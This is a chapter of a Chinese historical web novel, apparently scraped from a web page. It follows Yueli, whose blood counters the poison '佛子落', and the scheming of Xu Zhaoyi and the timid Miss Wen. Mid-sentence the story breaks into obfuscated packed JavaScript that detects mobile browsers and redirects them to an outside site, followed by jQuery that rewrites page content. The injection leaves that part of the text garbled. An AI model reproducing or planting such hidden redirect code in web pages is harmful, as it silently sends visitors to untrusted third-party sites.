23. 月梨轶事(第2页)
文侍郎的女儿......文侍郎乃吏部侍郎,平日里依附宋相办事,负责众官员的任免考核,向来面上有礼实则嚣张。他的女儿不说嚣张跋扈,断不至于养成这般畏缩性子。
而且听闻文侍郎向来宠女儿,府上大娘子与新科进士私奔,他也只是关了大娘子几月禁闭,随后为这对有情人定亲,并着力提拔那位新科进士。
“我们可以宽恕你,”徐昭意暗自扯了下卢平丹的袖子,面上带笑,“只要你答应我们一件事。”
卢平丹收回手,冷哼一声,嫌弃地擦擦手指。
文小娘子捂住下巴,咳了几声,目光意味不明,“徐二娘子敢用我做事?”
“我想起来在哪里听过‘佛子落’了,”徐昭意答非所问,“戎州乃古滇人聚集地,古滇人的医毒传统源自上古,素来诡谲。而这些医毒派系里,肖神医所在的有去山与鬼毒医所在的无回谷最为出名。这‘佛子落’......”
她弯眼笑着,眸光闪亮,“若我所想不错的话,这当是鬼毒医为留下爱人所制的毒药。此药不致命,只会让人在每月十五痛不欲生,唯有按时服用解药,方可压下痛楚。而这解药......”
“正巧是鬼毒医的血。”
*
密室内,月梨将陶瓷娃娃小心翼翼放回多宝阁。
她站在原地盯了陶瓷娃娃许久,这才蹲下身,将徐昭意方才踢乱的纸片人放回原地。
原地每隔一段距离就有一点血痕,而现在每处血痕都被月梨用纸片人遮掩住了。
她盯着缺胳膊少腿却又活蹦乱跳的纸片人,脑海里浮现出阿娘走前的情景。
“梨梨,娘将你托付给师伯可好?”阿娘将亲手雕刻的陶瓷娃娃递给她。
阿娘面色柔和,语带诱哄,“娘肚子里怀了一个妹妹,她正等着出生呢。娘将她生下来就回来找梨梨,在这之前,梨梨要乖乖待在师伯身边,听到没有?”
她信了,乖乖在师伯身边呆了好久,又被制成药人送与高淮。
但她再痛再痛,都想着阿娘会来找她的,她要乖乖待着,不能给阿娘惹麻烦。
直到前段时间,那云记药铺的白夫人找上门来,用一件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864115|173734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈年往事换来一次她的相助。
白夫人与她说:“你的师伯是你亲爹,你阿娘从你师伯身边逃出去,嫁给文侍郎做妾,但最终还是被你师伯弄死了。”
她一边说着,一边还拿出足够充足的证据给月梨看。
月梨信了。
她怎么不信呢?一晃十年过去,她心底早有答案,只是在自欺欺人罢了。
现下她再也骗不了自己了。
而且她那个妹妹,此刻还妄图取代她的位置。
她突然站起身,拨开鹅黄床幔,仰面躺着,双眼却不闭上,只直勾勾盯着床顶。
周遭只一盏豆灯闪耀,暗光近乎于无。
“睡不着?”耳边嗓音飘渺,淡淡入耳。
月梨睁得眼睛疼,眼尾不禁淌下一滴泪。
温柔指腹缓缓擦去眼尾泪珠,那声音语调如往常那般,含笑道:“月梨,我又找到一个能解‘佛子落’的人了。”
月梨盯着那张陷入暗光的慈悲面孔,“她是骗你的。”
高淮俯视她,收回手指,温和笑道:“我今日没发病了。”
她果然不是唯一选择了......他是不是知道她是故意把那对少男少女放进密道的?
若她当真一心遵从贵妃娘娘的吩咐,只需将那位高家小少年引入密道便算交差。他自会寻得所求之物。
但她随后又将那位与高家小少年有嫌隙的小娘子也放了进去,有那位小娘子在旁牵制小少年,她可以肯定高家那位此行难有收获。
毕竟高家小少年是从那个门出来的。
从那个门出来的人,十个人里只有八个半人是活的。
唯一一个完整出来的人只有那位小少年。
月梨抓住眼前晃荡的宽大衣袖,眨眨眼,认真盯着面前人,“你再不喝我的血,你会疼死的。”
“可我喝了你的血,你就会疼的。”高淮眼含疼惜,“若是有人可以代替你,我肯定就不会让你疼了。”
月梨垂眼,“可除我之外,无人可解‘佛子落’......”
“那个能解‘佛子落’的人,说来你也认识。”他的笑音愈发温柔,“她姓文,似乎还是你同母异父的妹妹。”
月梨豁然瞪大眼。
“你不是一直想知道自己的母亲是谁吗?”他语含悲悯,“我刚查到她是文侍郎的侍妾,几月前逝世,只留下你的妹妹。”
“月梨,你有妹妹了,你开心吗?”
窒息感从胸口蔓延,一直延伸到全身。即使月梨猜到面前这幕,却还是难受。
她有负娘娘嘱托。
她没用,太没用了。
不仅没能在高淮这里保持绝对的独特性,还差点让他发现自己的身份。
密室静谧许久,那道含笑声音又响起:“你违背我们的约定,放了几只社君进来......这是不是不太好?”
他凑近,语气说不上是讨好还是施舍,“但我还是拒绝了宋家的提议,暂时不成亲。”
月梨慢吞吞起身,抱住高淮的脖子,轻软声音甜滋滋的,“郎君待月梨最好了。”
*
哄好高淮后,月梨走出密道,悄悄走到高淮的书房附近,鼻子微动,细细嗅着。
一股极淡的血腥气从东方传来,她飞身跑去,却在听见一些细碎声音时停下。
松树林的一处僻静地站了几个小娘子,其中两个小娘子被另几个小娘子包围着,看不清身形,但能隐约听见谈话声。
“你已经获得高郎君的信任了?”
“是的......他还答应我暂且不与表姐定亲,让我静候时机等他来娶。但他家长辈似乎更青睐表姐......”
高家还是高淮说的算,只要高淮不想,没人可以逼他娶任何人。
月梨不想听后续碎语,她幽微的眼神从月白披风的小娘子身上扫过,落入另一个嫩绿襦裙的小娘子身上。
文小娘子?她笑得古怪,再次怜悯地看了看那位嫩绿襦裙的小娘子,随后离去,先行赶往她与徐昭意约定好的地方。
她得给这徐二娘子一点教训,以平心中怨气。
徐昭意感受到一股不舒服的视线从身上滑过,她不动声色叫凝露去周围查看,却只得到凝露“什么也没有”的手势。
她敛下眸光,面上笑意盈盈,对着文小娘子鼓励道:“你已经做到第一步了。接下来你只要按我说的做,便能得到一个前途无量的夫君。要知道,高郎君可比白郎君抢手多了。”
文小娘子怯怯看她一眼,赶忙点头。
徐昭意不耐烦再应付她,便道:“之后的事情,我会找人联系你的。现下文妹妹先去休息吧,方才出了这么多血,要再不休息一下,我怕妹妹的身子受不住。”
文小娘子点点头,犹豫着向徐昭意行了一礼,扶着婢女快步离开。
待文小娘子的身影彻底消失在眼前,徐昭意吐出一口气,唤过凝露一起去了约定地点。
约定地点离这里不远,恰巧就是先前卢平丹与文小娘子对话的那片竹林。
茂林修竹、风声萧萧,徐昭意抚过眼前的一片竹叶,笑意顿时凝固在面上。
她身边的凝露也瞪大了双眼。
她们前面不远处站着两个八竿子打不到一起的人,白衣清俊、红衣张扬,正是白轻落与小七。